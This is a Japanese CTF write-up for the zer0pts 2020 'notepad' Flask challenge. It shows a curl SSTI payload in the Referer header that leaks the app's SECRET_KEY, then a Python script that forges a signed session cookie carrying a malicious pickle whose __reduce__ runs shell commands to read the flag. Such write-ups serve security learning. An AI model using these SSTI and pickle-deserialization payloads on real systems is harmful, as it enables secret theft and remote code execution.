https://ctftime.org/task/10626
解説
flaskで作ってある。
404サイトを見てみると、SSTIできそうなところがある。
Refererに戻るときにテンプレートをはさんでいる。
@app.errorhandler(404) def page_not_found(error): """ Automatically go back when page is not found """ referrer = flask.request.headers.get("Referer") if referrer is None: referrer = '/' if not valid_url(referrer): referrer = '/' html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer) return flask.render_template_string(html), 404
なので、curl -i -H "Referer: http://18.179.178.246:8001/?{{config}}" http://18.179.178.246:8001/envy
をすると、ぞろぞろ出てくる。
HTMLのエンティティ参照形式になっているので、CyberChefでデコードすると、以下の感じ。
{'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None,
つらつら出てくるが、秘密鍵がわかるので、それをとりあえず取り出そう。 b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'
ここまでは、flask使われてるし、やったことあるし、できた。
何を取ってくればいいかもわからない。
- zer0pts CTF Writeup - La Vie en Lorse
- Zer0pts CTF 2020
- [zer0pts CTF 2020] notepad - HackMD
- Pythonの外部入力をunpickle化することによる脆弱性を検証した - 脱力系日記
- Pythonの脆弱性 - Shintaro Shiba - Medium
そっちに脆弱性があるのね。何をとってくればいいかわからないときは、RCEが怪しい?メタ読みしすぎか。
さて、pythonのpickleも使われているが、これにはRCE問題がある。
インスタンスを入れておくと、読込時にreduceが呼ばれるため、ここに任意のコードを差し込める。
以下の部分で差し込みを行う。
def load(): """ Load saved notes """ try: savedata = flask.session.get('savedata', None) data = pickle.loads(base64.b64decode(savedata)) except: data = [{"date": now(), "text": "", "title": "*New Note*"}] return data
これでls
を実行すると、flagというファイルがあることがわかるので、cat flag
でフラグを取り出す。
import os, sys, pickle, base64, requests, datetime import hhtools.flask as hf class Exploit(object): def __reduce__(self): import subprocess #return (subprocess.check_output, (['ls'],)) return (subprocess.check_output, (['cat', 'flag'],)) secret = b'\x815\xf7\xa3!\xe5\xf8\x89\x98\xb6\xfe\xb0\xa1%\xf9\xcb' data = [{"date": "2020-03-09 11:43:15", "text": Exploit(), "title": "exploit"}] hashed = base64.b64encode(pickle.dumps(data)) res = requests.get('http://18.179.178.246:8001/', cookies = { 'session': hf.generate_flask_session({'savedata':hashed}, secret) }) print(res.text)